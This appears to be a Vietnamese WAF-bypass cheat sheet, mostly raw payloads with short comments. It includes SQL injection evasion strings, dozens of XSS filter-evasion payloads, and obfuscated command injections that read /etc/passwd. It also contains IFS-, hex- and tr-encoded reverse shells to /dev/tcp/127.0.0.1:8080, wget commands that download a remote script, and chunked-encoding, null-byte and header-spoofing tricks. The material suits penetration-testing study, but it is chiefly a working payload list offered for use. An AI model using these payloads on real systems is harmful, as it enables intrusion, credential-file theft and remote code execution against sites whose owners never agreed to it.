Người dùng --> WAF --> Máy chủ Web

nmap -p 80,443 --script http-waf-detect example.com
nmap -p 80,443 --script http-waf-fingerprint example.com

pip install wafw00f
wafw00f https://example.com
# Kiểm tra nhiều URL
wafw00f -i urls.txt

# Không có WAF: lỗi SQL xuất hiện
https://example.com/index.php?id=1'
→ "You have an error in your SQL syntax..."

# Có WAF: bị block
https://example.com/index.php?id=1'
→ HTTP/1.1 403 Forbidden

' → %27           (URL encode)
' → %2527         (Double URL encode: %25 = %, nên %2527 decode thành %27 rồi thành ')

https://example.com/index.php?id=1%27
# WAF không nhận ra %27 là dấu nháy → pass qua, server decode thành 1'

-- Thử từng phần để xác định cái gì bị chặn
1'/**//*!50000UNION*/1,2,3%23        -- UNION không bị chặn?
1'/**//*!50000SELECT*/1,2,3%23       -- SELECT không bị chặn?
1'/**/UNION/**/SELECT/**/1,2,3%23   -- UNION SELECT bị chặn?

https://example.com/index.php?id=1'/**/UNION%23XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%0ASELECT/**/1,2,3%23

<a href="example.com" onmouseover=alert(1)>Click Here</a>
<img src="x" onerror=alert(1);>
<img src="x" onerror=alert(String.fromCharCode(88,83,83));>
<video src="x" onerror=prompt(1);>
<input onfocus=alert(1) autofocus>
<select onchange=alert(1)><option>1</option></select>

<form action="Javascript:alert(1)"><input type=submit>

<!-- Tab character (%09) để tách keyword javascript: -->
<form action="j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1)"><input type=submit>

<!-- formaction trên button -->
<form><button formaction=javascript&colon;alert(1)>CLICKME

<!-- Base64 của <script>alert("Hello");</script> -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">

<!-- Script từ data URI -->
<script src="data:;base64,YWxlcnQoIkhlbGxvIik="></script>

<!-- Shorthand với external URL -->
<object/data=//goo.gl/nlX0P?

eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;

<script>eval('ale'+'rt(0)');</script>
<img src=x onerror="eval('ale'+'rt(1)')">

<img src='1' onerror='alert(0)' 

// Dùng String.fromCharCode
String.fromCharCode(88,83,83)  // = "XSS"

// Encode trong HTML entity
<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>

<img/src='1'/onerror=alert(0)>

<svg><script>alert&#40/1/&#41</script>

cat</etc/passwd                          # Dùng < thay space
(cat,/etc/passwd)                        # Dùng dấu phẩy trong subshell
cat${IFS}/etc/passwd                     # IFS = Internal Field Separator (mặc định là space)
X=$'cat\x20/etc/passwd'&&$X             # \x20 = space trong $'...' syntax
bash</etc/passwd
IFS=,;$(cat<<<cat,/etc/passwd)           # Bash only: here-string + IFS

bash$IFS-i$IFS>&$IFS/dev/tcp/127.0.0.1/8080$IFS0>&1
echo${IFS}"RCE"${IFS}&&bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8080$IFS0>&1
sh</dev/tcp/127.0.0.1/8080
IFS=,;`bash<<<bash,-i,>&/dev/tcp/127.0.0.1/8080;0>&1`

{wget,http://127.0.0.1:8080/x.sh,-O,/tmp/y.sh}
wget${IFS}http://127.0.0.1:8080/x.sh${IFS}-O${IFS}/tmp/y.sh
X=$'wget\x20http://127.0.0.1:8080/x.sh\x20-O\x20/tmp/y.sh'&&$X
IFS=,;$(cat<<<wget,http://127.0.0.1:8080/x.sh,-O,/tmp/y.sh)

# /etc/passwd → hex: 2f6574632f706173737764
cat $(echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
cat $(xxd -r -p <<< 2f6574632f706173737764)
cat $(xxd -r -ps <(echo 2f6574632f706173737764))

$(xxd -r -p <<< 7767657420687474703a2f2f3132372e302e302e313a383038302f782e7368202d4f202f746d702f792e73680a)
$(echo -e "\x77\x67\x65\x74\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x38\x30\x38\x30\x2f\x78\x2e\x73\x68\x20\x2d\x4f\x20\x2f\x74\x6d\x70\x2f\x79\x2e\x73\x68")

cat ${HOME:0:1}etc${HOME:0:1}passwd
bash -i >& ${HOME:0:1}dev${HOME:0:1}tcp${HOME:0:1}127.0.0.1${HOME:0:1}8080 0>&1
wget http:${HOME:0:1}${HOME:0:1}127.0.0.1:8080${HOME:0:1}x.sh -O ${HOME:0:1}tmp${HOME:0:1}y.sh

# Biểu thức: '!-0' là range từ ! (0x21) đến 0 (0x30), '"-1' là range từ " (0x22) đến 1 (0x31)
# .  (0x2E) nằm trong range, map sang / (0x2F)
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

https://example.com/search?q=normal&q=<script>alert(1)</script>

POST /search HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

4
<scr
6
ipt>a
9
lert(1)
8
/script>
0

/etc/passwd%00.jpg

< → %ef%bc%9c    (Fullwidth Less-Than Sign, U+FF1C)
> → %ef%bc%9e    (Fullwidth Greater-Than Sign, U+FF1E)
' → %ef%bc%87    (Fullwidth Apostrophe, U+FF07)

X-Forwarded-For: <script>alert(1)</script>
X-Original-URL: /admin
X-Rewrite-URL: /admin